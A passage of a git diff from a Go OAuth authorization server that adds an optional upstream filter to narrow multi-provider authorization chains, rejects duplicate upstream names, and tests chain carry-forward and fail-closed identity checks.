resp.StatusCode, + "expected 303 straight to client: the Config-supplied filter should have dropped provider-2 from the chain") + clientLocation, err := resp.Location() + require.NoError(t, err) + resp.Body.Close() + + require.Equal(t, clientState, clientLocation.Query().Get("state")) + authCode := clientLocation.Query().Get("code") + require.NotEmpty(t, authCode) + + tokenData := exchangeCodeForTokens(t, ts.Server.URL, authCode, verifier, testAudience) + accessToken, ok := tokenData["access_token"].(string) + require.True(t, ok) + require.NotEmpty(t, accessToken) + + parsedToken, err := jwt.ParseSigned(accessToken, []jose.SignatureAlgorithm{jose.RS256}) + require.NoError(t, err) + var claims map[string]interface{} + require.NoError(t, parsedToken.Claims(ts.PrivateKey.Public(), &claims)) + tsid, ok := claims["tsid"].(string) + require.True(t, ok) + require.NotEmpty(t, tsid) + + ctx := context.Background() + + tokens1, err := ts.storage.GetUpstreamTokens(ctx, tsid, "provider-1") + require.NoError(t, err, "provider-1 tokens should be stored") + require.NotNil(t, tokens1) + + _, err = ts.storage.GetUpstreamTokens(ctx, tsid, "provider-2") + require.Error(t, err, "provider-2 should have been dropped from the chain by the filter") + assert.ErrorIs(t, err, storage.ErrNotFound) +} + // ============================================================================ // Non-Expiring Upstream Token Regression Tests // ============================================================================ @@ -2128,19 +2239,19 @@ func TestIntegration_FullFlow_NonExpiringUpstreamToken(t *testing.T) { // the hand-crafted flow in TestIntegration_MultiUpstreamSequentialChain but // is reused by the mixed-expiry orderings test. The PKCE verifier is the // caller's responsibility — it's only needed at the final /token exchange. -func runChainFlow( - t *testing.T, - serverURL string, - challenge string, - clientState string, -) string { +// runFirstLeg drives the leg-1 flow shared by every multi-upstream chain +// test: client -> /oauth/authorize -> first upstream -> our /oauth/callback. +// It returns the callback response unread and unclosed so callers can assert +// on its status code — 302 on to the next upstream (chain continues) vs. 303 +// straight to the client (chain already satisfied) — before deciding how to +// continue. Callers are responsible for closing the returned response's body. +func runFirstLeg(t *testing.T, serverURL, challenge, clientState string) *http.Response { t.Helper() client := noRedirectClient() parsedServerURL, err := url.Parse(serverURL) require.NoError(t, err) - // Leg 1: client -> /authorize -> first upstream authorizeURL := serverURL + "/oauth/authorize?" + url.Values{ "client_id": {testClientID}, "redirect_uri": {testRedirectURI}, @@ -2169,6 +2280,22 @@ func runChainFlow( resp, err = client.Get(firstCallback.String()) require.NoError(t, err) + return resp +} + +func runChainFlow( + t *testing.T, + serverURL string, + challenge string, + clientState string, +) string { + t.Helper() + + parsedServerURL, err := url.Parse(serverURL) + require.NoError(t, err) + + // Leg 1: client -> /authorize -> first upstream -> callback + resp := runFirstLeg(t, serverURL, challenge, clientState) require.Equal(t, http.StatusFound, resp.StatusCode, "expected redirect to second upstream, not 303 to client") secondUpstreamLocation, err := resp.Location() @@ -2176,6 +2303,7 @@ func runChainFlow( resp.Body.Close() // Leg 2: second upstream -> callback -> client + client := noRedirectClient() resp, err = client.Get(secondUpstreamLocation.String()) require.NoError(t, err) require.Equal(t, http.StatusFound, resp.StatusCode) diff --git a/pkg/authserver/runner/embeddedauthserver.go b/pkg/authserver/runner/embeddedauthserver.go index 74b92c405d..70102ee937 100644 --- a/pkg/authserver/runner/embeddedauthserver.go +++ b/pkg/authserver/runner/embeddedauthserver.go @@ -583,7 +583,7 @@ func buildOIDCConfig(rc *authserver.UpstreamRunConfig, insecureAllowHTTP bool) ( Issuer: oidc.IssuerURL, SubjectClaim: oidc.SubjectClaim, AllowPrivateIPs: oidc.AllowPrivateIPs, - InsecureAllowHTTP: insecureAllowHTTP, + InsecureAllowHTTP: insecureAllowHTTP || oidc.InsecureAllowHTTP, }, nil } @@ -619,7 +619,7 @@ func buildPureOAuth2Config(rc *authserver.UpstreamRunConfig, insecureAllowHTTP b TokenEndpoint: oauth2.TokenEndpoint, UserInfo: convertUserInfoConfig(oauth2.UserInfo), AllowPrivateIPs: oauth2.AllowPrivateIPs, - InsecureAllowHTTP: insecureAllowHTTP, + InsecureAllowHTTP: insecureAllowHTTP || oauth2.InsecureAllowHTTP, } if oauth2.TokenResponseMapping != nil { diff --git a/pkg/authserver/server/handlers/authorize_test.go b/pkg/authserver/server/handlers/authorize_test.go index d8dab8df79..14415e6c81 100644 --- a/pkg/authserver/server/handlers/authorize_test.go +++ b/pkg/authserver/server/handlers/authorize_test.go @@ -185,6 +185,24 @@ func TestNewHandler_ErrorsOnNilConfig(t *testing.T) { "NewHandler should error when AuthorizationServerConfig.Config is nil") } +// TestNewHandler_ErrorsOnDuplicateUpstreamNames pins that the constructor rejects +// duplicate upstream names. Names must be unique: upstreamByName returns the first +// match, tokens are keyed by name, and the authorization chain is keyed by name, so +// a duplicate would silently shadow a provider. +func TestNewHandler_ErrorsOnDuplicateUpstreamNames(t *testing.T) { + t.Parallel() + + _, oauth2Config, stor, _ := baseTestSetup(t) + upstreams := []NamedUpstream{ + {Name: "dup", Provider: &mockIDPProvider{}}, + {Name: "dup", Provider: &mockIDPProvider{}}, + } + + _, err := NewHandler(nil, oauth2Config, stor, upstreams) + require.Error(t, err, "NewHandler should reject duplicate upstream names") + assert.ErrorContains(t, err, "duplicate upstream name") +} + func TestAuthorizeHandler_RedirectsToUpstream(t *testing.T) { t.Parallel() handler, storState, mockUpstream := handlerTestSetup(t) diff --git a/pkg/authserver/server/handlers/callback.go b/pkg/authserver/server/handlers/callback.go index 55cf24d875..7f7114c33b 100644 --- a/pkg/authserver/server/handlers/callback.go +++ b/pkg/authserver/server/handlers/callback.go @@ -180,7 +180,20 @@ func (h *Handler) CallbackHandler(w http.ResponseWriter, req *http.Request) { return } - h.continueChainOrComplete(ctx, w, req, ar, pending, sessionID, subject, userName, userEmail) + // Build the credential-free principal for the optional upstream filter, keyed on + // the identity the first leg just established. providerSubject is the claim-mapped + // upstream subject; subject is the canonical ToolHive user ID. On subsequent legs + // the filter is not consulted, so this only drives filtering for upstreams[0]. + // result.Claims carries the ID-token/userinfo claims (nil for synthetic upstreams). + principal := auth.PrincipalInfo{ + Subject: providerSubject, + PlatformUserID: subject, + Name: userName, + Email: userEmail, + Claims: result.Claims, + } + + h.continueChainOrComplete(ctx, w, req, ar, pending, sessionID, principal) } // maybeCarryForwardRefreshToken preserves a prior refresh token when the upstream IdP @@ -409,10 +422,15 @@ func (h *Handler) continueChainOrComplete( ar fosite.AuthorizeRequester, pending *storage.PendingAuthorization, sessionID string, - subject string, - name string, - email string, + principal auth.PrincipalInfo, ) { + // subject is the canonical ToolHive user ID used for chain state, token keying, + // and the cross-leg identity check. Note this is principal.PlatformUserID, NOT + // principal.Subject (which is the upstream provider's subject). + subject := principal.PlatformUserID + name := principal.Name + email := principal.Email + // SingleLeg authorizations intentionally bypass chain continuation: the caller // scoped this flow to one specific upstream (e.g. a UI-initiated "connect one // backend" request), so other configured-but-tokenless upstreams must not @@ -433,7 +451,20 @@ func (h *Handler) continueChainOrComplete( return } - nextProvider, err := h.nextMissingUpstream(ctx, sessionID) + // Resolve the effective chain of upstreams to walk. The first leg computes it + // (consulting the optional filter with this leg's request context); every + // subsequent leg reuses the validated chain the first leg carried forward, so + // the filter is not re-run per leg. A subsequent leg whose pending predates the + // chain is rejected rather than recomputed against a later leg's context. + chain, err := h.resolveChain(ctx, pending, principal) + if err != nil { + slog.Error("failed to resolve upstream chain", "error", err) + _ = h.storage.DeleteUpstreamTokens(ctx, sessionID) + h.provider.WriteAuthorizeError(ctx, w, ar, fosite.ErrServerError.WithHint("failed to determine authorization chain")) + return + } + + nextProvider, err := h.nextMissingUpstream(ctx, sessionID, chain) if err != nil { slog.Error("failed to determine next upstream", "error", err) _ = h.storage.DeleteUpstreamTokens(ctx, sessionID) @@ -442,28 +473,12 @@ func (h *Handler) continueChainOrComplete( } if nextProvider == "" { - // Defense-in-depth: verify identity consistency across chain legs. - // The subject was resolved from the first leg's upstream and carried through - // PendingAuthorization. Cross-check it against the stored upstream tokens. - if len(h.upstreams) > 1 { - allTokens, err := h.storage.GetAllUpstreamTokens(ctx, sessionID) - if err != nil { - slog.Error("failed to verify identity consistency", "error", err) - _ = h.storage.DeleteUpstreamTokens(ctx, sessionID) - h.provider.WriteAuthorizeError(ctx, w, ar, fosite.ErrServerError.WithHint("failed to verify identity consistency")) - return - } - firstProvider := h.upstreams[0].Name - if firstTokens, ok := allTokens[firstProvider]; ok && firstTokens.UserID != subject { - slog.Error("identity mismatch between chain state and stored tokens", - "expected", subject, - "got", firstTokens.UserID, - "provider", firstProvider, - ) - _ = h.storage.DeleteUpstreamTokens(ctx, sessionID) - h.provider.WriteAuthorizeError(ctx, w, ar, fosite.ErrServerError.WithHint("identity verification failed")) - return - } + if err := h.verifyChainIdentity(ctx, sessionID, chain, subject); err != nil { + // verifyChainIdentity already logged the specific cause (with structured + // fields for a mismatch); here we just clean up and fail closed. + _ = h.storage.DeleteUpstreamTokens(ctx, sessionID) + h.provider.WriteAuthorizeError(ctx, w, ar, fosite.ErrServerError.WithHint("identity verification failed")) + return } // All upstreams satisfied — issue authorization code @@ -495,6 +510,9 @@ func (h *Handler) continueChainOrComplete( // Chain state UpstreamProviderName: nextProvider, SessionID: sessionID, + // Carry the effective chain forward so the filter is computed once, on the + // first leg, and reused for every subsequent leg. + ChainUpstreams: chain, // Carry resolved identity from first leg ResolvedUserID: subject, ResolvedUserName: name, @@ -533,3 +551,48 @@ func (h *Handler) continueChainOrComplete( http.Redirect(w, req, nextURL, http.StatusFound) } + +// verifyChainIdentity is a defense-in-depth check run once every leg of the +// effective chain is satisfied. Despite the "chain" framing, it reconciles only +// the first leg: it confirms the identity provider's stored token (chain[0]) still +// belongs to the subject carried through the flow. Intermediate/later legs are +// deliberately NOT identity-checked — those are connect-this-backend flows whose +// upstream identity can legitimately differ from the first leg's user. +// +// subject MUST be the canonical ToolHive user ID resolved from the first leg's +// upstream via that provider's configured subject-claim mapping (the OIDC +// SubjectClaim, or the "sub" claim by default) and carried forward unchanged +// through PendingAuthorization.ResolvedUserID. The caller resolves it exactly once, +// on the first leg, from the claim-mapped upstream subject. This cross-checks it +// against firstTokens.UserID — the same canonical ID persisted when the first leg +// stored its tokens — so a first leg whose stored user disagrees with the carried +// subject is rejected. +// +// It gates on the effective chain rather than the raw config: chain[0] is always +// the first (required) upstream, so a chain the filter narrowed to just that +// upstream has no first-leg cross-check to run and the check is a no-op. Returns a +// non-nil error when the storage lookup fails or an identity mismatch is detected; +// the caller maps either to a server error. +func (h *Handler) verifyChainIdentity(ctx context.Context, sessionID string, chain []string, subject string) error { + if len(chain) <= 1 { + return nil + } + allTokens, err := h.storage.GetAllUpstreamTokens(ctx, sessionID) + if err != nil { + slog.Error("failed to load upstream tokens for chain identity check", "error", err) + return fmt.Errorf("failed to load upstream tokens for identity check: %w", err) + } + firstProvider := chain[0] + if firstTokens, ok := allTokens[firstProvider]; ok && firstTokens.UserID != subject { + // Emit the mismatch as discrete slog fields — not folded into the returned + // error string — so log pipelines can filter/alert on this defense-in-depth + // check, matching the logging from before this check was extracted here. + slog.Error("identity mismatch between chain state and stored tokens", + "expected", subject, + "got", firstTokens.UserID, + "provider", firstProvider, + ) + return fmt.Errorf("identity mismatch on provider %q", firstProvider) + } + return nil +} diff --git a/pkg/authserver/server/handlers/callback_test.go b/pkg/authserver/server/handlers/callback_test.go index 484db3fded..4d5173f3b6 100644 --- a/pkg/authserver/server/handlers/callback_test.go +++ b/pkg/authserver/server/handlers/callback_test.go @@ -481,6 +481,7 @@ func TestCallbackHandler_TwoUpstreams_SecondLeg_IssuesCode(t *testing.T) { UpstreamNonce: "second-leg-nonce", UpstreamProviderName: "provider-2", SessionID: sessionID, + ChainUpstreams: []string{"provider-1", "provider-2"}, ResolvedUserID: "resolved-user-id-from-leg1", ResolvedUserName: "First Leg User", ResolvedUserEmail: "firstleg@example.com", @@ -515,6 +516,305 @@ func TestCallbackHandler_TwoUpstreams_SecondLeg_IssuesCode(t *testing.T) { assert.False(t, ok, "second leg pending should be consumed") } +func TestCallbackHandler_TwoUpstreams_FilterDropsSecondLeg_IssuesCode(t *testing.T) { + t.Parallel() + // Filter keeps nothing, so the chain narrows to just the first upstream. + filter := &stubUpstreamFilter{keep: []string{}} + handler, storState, provider1, _ := multiUpstreamTestSetup(t, WithUpstreamFilter(filter)) + + sessionID := "chain-session-filter-drop" + firstLegState := "filter-drop-first-leg-state" + pending := &storage.PendingAuthorization{ + ClientID: testAuthClientID, + RedirectURI: testAuthRedirectURI, + State: "client-state-drop", + PKCEChallenge: "client-challenge", + PKCEMethod: "S256", + Scopes: []string{"openid", "profile"}, + InternalState: firstLegState, + UpstreamPKCEVerifier: "filter-drop-verifier-1234567890123456789012", + UpstreamNonce: "filter-drop-nonce", + UpstreamProviderName: "provider-1", + SessionID: sessionID, + CreatedAt: time.Now(), + } + storState.pendingAuths[firstLegState] = pending + + req := httptest.NewRequest(http.MethodGet, "/oauth/callback?code=provider1-code&state="+firstLegState, nil) + rec := httptest.NewRecorder() + handler.CallbackHandler(rec, req) + + // The filtered-out second leg means the chain completes at the first upstream: + // issue the authorization code (303) rather than redirect onward (302). + assert.Equal(t, http.StatusSeeOther, rec.Code, "filtered chain should complete at the first upstream") + location := rec.Header().Get("Location") + assert.Contains(t, location, testAuthRedirectURI, "redirect should be to the client's redirect_uri") + assert.Contains(t, location, "code=", "redirect should include an authorization code") + assert.NotContains(t, location, "error=", "redirect should not contain an error") + + // The filter was consulted exactly once, with the non-first upstream names. + assert.Equal(t, 1, filter.calls, "filter should be consulted once on the first leg") + assert.Equal(t, []string{"provider-2"}, filter.capturedArgs, "filter receives non-first upstreams") + + // provider-1's code was exchanged and no second-leg pending was created. + assert.Equal(t, "provider1-code", provider1.capturedCode) + for state, p := range storState.pendingAuths { + assert.NotEqualf(t, "provider-2", p.UpstreamProviderName, + "no second-leg pending should be created (state %q)", state) + } +} + +func TestCallbackHandler_TwoUpstreams_FilterKeepsSecondLeg_CarriesChain(t *testing.T) { + t.Parallel() + filter := &stubUpstreamFilter{keep: []string{"provider-2"}} + handler, storState, _, _ := multiUpstreamTestSetup(t, WithUpstreamFilter(filter)) + + sessionID := "chain-session-filter-keep" + firstLegState := "filter-keep-first-leg-state" + pending := &storage.PendingAuthorization{ + ClientID: testAuthClientID, + RedirectURI: testAuthRedirectURI, + State: "client-state-keep", + PKCEChallenge: "client-challenge", + PKCEMethod: "S256", + Scopes: []string{"openid", "profile"}, + InternalState: firstLegState, + UpstreamPKCEVerifier: "filter-keep-verifier-1234567890123456789012", + UpstreamNonce: "filter-keep-nonce", + UpstreamProviderName: "provider-1", + SessionID: sessionID, + CreatedAt: time.Now(), + } + storState.pendingAuths[firstLegState] = pending + + req := httptest.NewRequest(http.MethodGet, "/oauth/callback?code=provider1-code&state="+firstLegState, nil) + rec := httptest.NewRecorder() + handler.CallbackHandler(rec, req) + + // Kept provider-2, so the chain continues onward. + assert.Equal(t, http.StatusFound, rec.Code, "kept second leg should redirect onward") + assert.Contains(t, rec.Header().Get("Location"), "https://idp2.example.com/authorize") + assert.Equal(t, 1, filter.calls, "filter should be consulted once on the first leg") + + // The effective chain must be carried into the next leg's pending so the + // filter is not re-run per leg. + var nextPending *storage.PendingAuthorization + for state, p := range storState.pendingAuths { + if state != firstLegState && p.UpstreamProviderName == "provider-2" { + nextPending = p + break + } + } + require.NotNil(t, nextPending, "a second-leg pending should exist") + assert.Equal(t, []string{"provider-1", "provider-2"}, nextPending.ChainUpstreams, + "the computed chain should be carried forward") +} + +func TestCallbackHandler_FilterError_FailsAuthorization(t *testing.T) { + t.Parallel() + filter := &stubUpstreamFilter{err: errors.New("filter unavailable")} + handler, storState, _, _ := multiUpstreamTestSetup(t, WithUpstreamFilter(filter)) + + sessionID := "chain-session-filter-error" + firstLegState := "filter-error-first-leg-state" + pending := &storage.PendingAuthorization{ + ClientID: testAuthClientID, + RedirectURI: testAuthRedirectURI, + State: "client-state-error", + PKCEChallenge: "client-challenge", + PKCEMethod: "S256", + Scopes: []string{"openid", "profile"}, + InternalState: firstLegState, + UpstreamPKCEVerifier: "filter-error-verifier-123456789012345678901", + UpstreamNonce: "filter-error-nonce", + UpstreamProviderName: "provider-1", + SessionID: sessionID, + CreatedAt: time.Now(), + } + storState.pendingAuths[firstLegState] = pending + + req := httptest.NewRequest(http.MethodGet, "/oauth/callback?code=provider1-code&state="+firstLegState, nil) + rec := httptest.NewRecorder() + handler.CallbackHandler(rec, req) + + // A filter error fails the authorization cleanly with a server error — no + // silent fallback to walking every upstream. + assert.Equal(t, http.StatusSeeOther, rec.Code, "filter error should produce a fosite error redirect") + location := rec.Header().Get("Location") + assert.Contains(t, location, "error=server_error", "should surface a server error") + assert.Contains(t, location, "state=client-state-error", "should preserve client state") + assert.Equal(t, 1, filter.calls) + + // provider-1's already-stored tokens are cleaned up. + for key := range storState.upstreamTokens { + assert.Failf(t, "upstream tokens should be cleaned up", "found leftover token %q", key) + } +} + +func TestCallbackHandler_SecondLeg_ReusesChain_DoesNotReRunFilter(t *testing.T) { + t.Parallel() + // A filter that errors if consulted — proving the second leg reuses the chain + // from the pending authorization rather than re-running the filter. + filter := &stubUpstreamFilter{err: errors.New("must not be called on a subsequent leg")} + handler, storState, _, provider2 := multiUpstreamTestSetup(t, WithUpstreamFilter(filter)) + + sessionID := "chain-session-reuse" + key1 := sessionID + ":provider-1" + storState.upstreamTokens[key1] = &storage.UpstreamTokens{ + ProviderID: "provider-1", + AccessToken: "provider1-access-token", + ExpiresAt: time.Now().Add(time.Hour), + ClientID: testAuthClientID, + UserID: "resolved-user-id-from-leg1", + } + + secondLegState := "reuse-second-leg-state" + pending := &storage.PendingAuthorization{ + ClientID: testAuthClientID, + RedirectURI: testAuthRedirectURI, + State: "client-state-reuse", + PKCEChallenge: "client-challenge", + PKCEMethod: "S256", + Scopes: []string{"openid", "profile"}, + InternalState: secondLegState, + UpstreamPKCEVerifier: "reuse-verifier-98765432109876543210987654", + UpstreamNonce: "reuse-nonce", + UpstreamProviderName: "provider-2", + SessionID: sessionID, + ChainUpstreams: []string{"provider-1", "provider-2"}, // computed on the first leg + ResolvedUserID: "resolved-user-id-from-leg1", + ResolvedUserName: "First Leg User", + ResolvedUserEmail: "firstleg@example.com", + CreatedAt: time.Now(), + } + storState.pendingAuths[secondLegState] = pending + + req := httptest.NewRequest(http.MethodGet, "/oauth/callback?code=provider2-code&state="+secondLegState, nil) + rec := httptest.NewRecorder() + handler.CallbackHandler(rec, req) + + assert.Equal(t, http.StatusSeeOther, rec.Code, "second leg should issue the authorization code") + assert.Contains(t, rec.Header().Get("Location"), "code=") + assert.Equal(t, 0, filter.calls, "filter must not be re-run on a subsequent leg") + assert.Equal(t, "provider2-code", provider2.capturedCode) +} + +func TestCallbackHandler_Filter_ReceivesFirstUpstreamIdentity(t *testing.T) { + t.Parallel() + filter := &stubUpstreamFilter{keep: []string{"provider-2"}} + handler, storState, provider1, _ := multiUpstreamTestSetup(t, WithUpstreamFilter(filter)) + + // Model an OIDC first upstream that resolved ID-token claims an authz filter + // would key on. (The real OIDC provider's capture of these claims is covered by + // TestOIDCProviderImpl_ExchangeCodeForIdentity/"captures ID token claims…"; this + // test covers the callback -> filter propagation.) + provider1.providerType = upstream.ProviderTypeOIDC + provider1.exchangeResult.Claims = map[string]any{ + "sub": "user-from-provider1", + "email": "firstleg@example.com", + "groups": []any{"engineering", "admins"}, + } + + sessionID := "chain-session-filter-identity" + firstLegState := "filter-identity-first-leg-state" + pending := &storage.PendingAuthorization{ + ClientID: testAuthClientID, + RedirectURI: testAuthRedirectURI, + State: "client-state-identity", + PKCEChallenge: "client-challenge", + PKCEMethod: "S256", + Scopes: []string{"openid", "profile"}, + InternalState: firstLegState, + UpstreamPKCEVerifier: "filter-identity-verifier-123456789012345678", + UpstreamNonce: "filter-identity-nonce", + UpstreamProviderName: "provider-1", + SessionID: sessionID, + CreatedAt: time.Now(), + } + storState.pendingAuths[firstLegState] = pending + + req := httptest.NewRequest(http.MethodGet, "/oauth/callback?code=provider1-code&state="+firstLegState, nil) + rec := httptest.NewRecorder() + handler.CallbackHandler(rec, req) + + // Kept provider-2, so the chain continues onward (proving the filter ran). + require.Equal(t, http.StatusFound, rec.Code, "kept second leg should redirect onward") + require.Equal(t, 1, filter.calls, "filter should be consulted once on the first leg") + + // The filter received the first upstream's resolved identity. + assert.Equal(t, "user-from-provider1", filter.capturedPrincipal.Subject, + "principal.Subject must be the claim-mapped upstream subject") + assert.Equal(t, "firstleg@example.com", filter.capturedPrincipal.Email, + "principal.Email must come from the first upstream") + assert.Equal(t, map[string]any{ + "sub": "user-from-provider1", + "email": "firstleg@example.com", + "groups": []any{"engineering", "admins"}, + }, filter.capturedPrincipal.Claims, "principal.Claims must carry the first upstream's claims") + + // principal.PlatformUserID is the canonical (resolved) ToolHive user: non-empty + // and distinct from the raw upstream subject. + assert.NotEmpty(t, filter.capturedPrincipal.PlatformUserID, "platform user ID must be populated") + assert.NotEqual(t, "user-from-provider1", filter.capturedPrincipal.PlatformUserID, + "platform user ID is the canonical ToolHive user, not the raw upstream subject") +} + +func TestCallbackHandler_SubsequentLeg_MissingChain_FailsClosed(t *testing.T) { + t.Parallel() + handler, storState, _, _ := multiUpstreamTestSetup(t) + + sessionID := "stale-pending-session" + const leg1User = "resolved-user-id-from-leg1" + + // First leg already completed. + storState.upstreamTokens[sessionID+":provider-1"] = &storage.UpstreamTokens{ + ProviderID: "provider-1", + AccessToken: "p1-at", + ExpiresAt: time.Now().Add(time.Hour), + ClientID: testAuthClientID, + UserID: leg1User, + } + + // A subsequent-leg pending that predates ChainUpstreams: ResolvedUserID is set + // (not a first leg) but ChainUpstreams is empty, as an older build would have + // written it mid-rollout. + secondLegState := "stale-pending-state" + storState.pendingAuths[secondLegState] = &storage.PendingAuthorization{ + ClientID: testAuthClientID, + RedirectURI: testAuthRedirectURI, + State: "client-original-state", + PKCEChallenge: "client-challenge", + PKCEMethod: "S256", + Scopes: []string{"openid"}, + InternalState: secondLegState, + UpstreamPKCEVerifier: "stale-verifier-1234567890123456789012345678", + UpstreamNonce: "stale-nonce", + UpstreamProviderName: "provider-2", + SessionID: sessionID, + ResolvedUserID: leg1User, + ResolvedUserName: "First Leg User", + ResolvedUserEmail: "firstleg@example.com", + // ChainUpstreams intentionally empty (stale pending). + CreatedAt: time.Now(), + } + + req := httptest.NewRequest(http.MethodGet, "/oauth/callback?code=provider2-code&state="+secondLegState, nil) + rec := httptest.NewRecorder() + handler.CallbackHandler(rec, req) + + // The stale pending is rejected (fail closed) rather than recomputing the chain + // against this later leg's context. + assert.Equal(t, http.StatusSeeOther, rec.Code, "stale pending should produce a fosite error redirect") + location := rec.Header().Get("Location") + assert.Contains(t, location, "error=server_error") + assert.Contains(t, location, "state=client-original-state") + + // Upstream tokens for the session are cleaned up. + for key := range storState.upstreamTokens { + assert.Failf(t, "upstream tokens should be cleaned up", "found leftover token %q", key) + } +} + func TestCallbackHandler_SingleLeg_IssuesCodeWithoutChaining(t *testing.T) { t.Parallel() handler, storState, provider1, _ := multiUpstreamTestSetup(t) @@ -607,6 +907,7 @@ func TestCallbackHandler_TwoUpstreams_IdentityFromFirstLeg(t *testing.T) { UpstreamNonce: "identity-test-nonce", UpstreamProviderName: "provider-2", SessionID: sessionID, + ChainUpstreams: []string{"provider-1", "provider-2"}, ResolvedUserID: firstLegUserID, ResolvedUserName: "First Leg Name", ResolvedUserEmail: "firstleg@example.com", @@ -667,6 +968,7 @@ func TestCallbackHandler_TwoUpstreams_IdentityMismatch_RejectsChain(t *testing.T UpstreamNonce: "mismatch-nonce", UpstreamProviderName: "provider-2", SessionID: sessionID, + ChainUpstreams: []string{"provider-1", "provider-2"}, ResolvedUserID: "correct-user-id", // does NOT match provider-1's UserID above ResolvedUserName: "Correct User", ResolvedUserEmail: "correct@example.com", @@ -1041,9 +1343,11 @@ func TestCallbackHandler_RefreshTokenCarryForward(t *testing.T) { // Synthetic carry-forward only applies on a subsequent leg, where the // stable user identity is carried from the first leg (so the prior row // is found by UserID) while the provider's own subject rotates per flow. + // A subsequent leg carries the effective chain computed on the first leg. pendingAuth.ResolvedUserID = existingUserID pendingAuth.ResolvedUserName = "First Leg User" pendingAuth.ResolvedUserEmail = "firstleg@example.com" + pendingAuth.ChainUpstreams = []string{providerName} } storState.pendingAuths[internalState] = pendingAuth @@ -1146,6 +1450,7 @@ func TestCallbackHandler_PlacesPlatformUserInContext_OnChainRead(t *testing.T) { UpstreamNonce: "second-leg-nonce", UpstreamProviderName: "provider-2", SessionID: sessionID, + ChainUpstreams: []string{"provider-1", "provider-2"}, ResolvedUserID: leg1User, ResolvedUserName: "First Leg User", ResolvedUserEmail: "firstleg@example.com", diff --git a/pkg/authserver/server/handlers/handler.go b/pkg/authserver/server/handlers/handler.go index b971554b02..8a54204bb6 100644 --- a/pkg/authserver/server/handlers/handler.go +++ b/pkg/authserver/server/handlers/handler.go @@ -24,6 +24,7 @@ import ( "github.com/go-chi/chi/v5" "github.com/ory/fosite" + "github.com/stacklok/toolhive/pkg/auth" "github.com/stacklok/toolhive/pkg/authserver/server" "github.com/stacklok/toolhive/pkg/authserver/storage" "github.com/stacklok/toolhive/pkg/authserver/upstream" @@ -47,6 +48,55 @@ type Handler struct { // expired upstream leg during chain evaluation instead of re-prompting. Nil // when no refresher is configured; an expired leg is then treated as missing. refresher storage.UpstreamTokenRefresher + // filter, when set, narrows the authorization chain to a subset of the + // configured upstreams once the first leg resolves. Nil when no filter is + // configured; the chain then walks all configured upstreams as before. + filter UpstreamFilter +} + +// UpstreamFilter narrows the authorization chain to a subset of the configured +// upstreams, keyed on the identity established by the first upstream. It is +// consulted exactly once per authorization, in the callback handler, after the +// first upstream (upstreams[0]) resolves. The first upstream is always required: +// it is never passed to the filter and cannot be removed by it. +// +// FilterUpstreams receives, in order: +// - ctx: the request context of the first leg's callback. +// - principal: the upstream-derived identity for authorization decisions. Its +// PlatformUserID is the canonical ToolHive user ID (the stable internal +// identifier); Subject is the claim-mapped upstream subject (OIDC SubjectClaim, +// or "sub"); Claims carries the ID-token/userinfo claims; Name and Email are +// populated when the upstream provides them. It carries NO tokens — it is the +// credential-free auth.PrincipalInfo projection. The filter MUST treat +// principal (including its Claims map) as read-only. +// - configured: the names of the non-first configured upstreams, in configured +// order. +// +// Claims contract: values are untyped and come straight from the upstream IdP, so +// implementations MUST assert types defensively (e.g. comma-ok on map/slice +// access) — a malformed IdP response must not be able to panic the filter. Claims +// is nil not only for OAuth2 identityFromToken / synthetic upstreams (which resolve +// no structured claim set) but also on a transient OIDC claims-extraction failure, +// so a security-relevant filter MUST treat nil/absent claims as fail-closed. Note +// that the `aud` claim, when present, is the upstream IdP's client_id — not this +// authorization server. +// +// It returns the subset to keep. The handler preserves configured order and +// ignores any returned name that is not one of the non-first configured upstreams, +// so the filter cannot reorder the chain or introduce unknown providers. A +// returned error fails the authorization with a server error — the handler never +// falls back to walking every upstream on error. +// +// The "first-leg identity" guarantee holds even across a rolling upgrade of a +// persistent backend: a subsequent-leg pending that lacks a computed chain (e.g. +// one written before this feature existed) is rejected and forces a fresh +// authorization, rather than re-running the filter against a later leg. +type UpstreamFilter interface { + FilterUpstreams( + ctx context.Context, + principal auth.PrincipalInfo, + configured []string, + ) ([]string, error) } // Option configures optional Handler behavior at construction time. @@ -62,14 +112,27 @@ func WithUpstreamRefresher(r storage.UpstreamTokenRefresher) Option { } } +// WithUpstreamFilter injects a filter that narrows the authorization chain to a +// subset of the configured upstreams once the first leg resolves. When unset, the +// handler walks all configured upstreams — the behavior before this option +// existed. See UpstreamFilter for the contract. +func WithUpstreamFilter(f UpstreamFilter) Option { + return func(h *Handler) { + h.filter = f + } +} + // NewHandler creates a new Handler with the given dependencies. // upstreams defines the ordered sequence of upstream providers consulted // during multi-upstream authorization flows (e.g., sequential token acquisition). // // Returns an error if config is nil, if config's embedded *fosite.Config is -// nil, if upstreams is empty, or if any entry has an empty name or nil -// provider. Catching misconfiguration here is far easier to diagnose than -// a nil-deref panic deep inside an HTTP handler at request time. +// nil, if upstreams is empty, or if any entry has an empty name, a nil provider, +// or a duplicate name. Upstream names must be unique: upstreamByName returns the +// first match, tokens are keyed by name, and the authorization chain is keyed by +// name — a duplicate would silently shadow a provider. Catching misconfiguration +// here is far easier to diagnose than a nil-deref panic or a shadowed provider +// deep inside an HTTP handler at request time. func NewHandler( provider fosite.OAuth2Provider, config *server.AuthorizationServerConfig, @@ -84,6 +147,7 @@ func NewHandler( if len(upstreams) == 0 { return nil, fmt.Errorf("handlers: upstreams must not be empty") } + seen := make(map[string]struct{}, len(upstreams)) for _, u := range upstreams { if u.Name == "" { return nil, fmt.Errorf("handlers: upstream entry has empty name") @@ -91,6 +155,10 @@ func NewHandler( if u.Provider == nil { return nil, fmt.Errorf("handlers: upstream %q has nil provider", u.Name) } + if _, dup := seen[u.Name]; dup { + return nil, fmt.Errorf("handlers: duplicate upstream name %q", u.Name) + } + seen[u.Name] = struct{}{} } h := &Handler{ provider: provider, @@ -141,7 +209,10 @@ func (h *Handler) WellKnownRoutes(r chi.Router) { // nextMissingUpstream returns the name of the next upstream provider in the // authorization chain that the user must (re-)authenticate with for this session. -// Returns empty string if all upstreams are satisfied, or an error if the storage +// It walks the provided chain — the effective, possibly filtered, ordered set of +// upstream names for this authorization (see computeChain) — rather than the raw +// configured list, so a leg the filter dropped is never prompted for. Returns +// empty string if all legs in the chain are satisfied, or an error if the storage // lookup fails. // // A leg is satisfied when it has a stored token that is live (or asserts no @@ -151,29 +222,151 @@ func (h *Handler) WellKnownRoutes(r chi.Router) { // succeeds. If refresh is impossible or fails, the leg is reported as missing so // the user is re-prompted up front, rather than the stale token surfacing as a // runtime auth error later at MCP-request token-swap time. -func (h *Handler) nextMissingUpstream(ctx context.Context, sessionID string) (string, 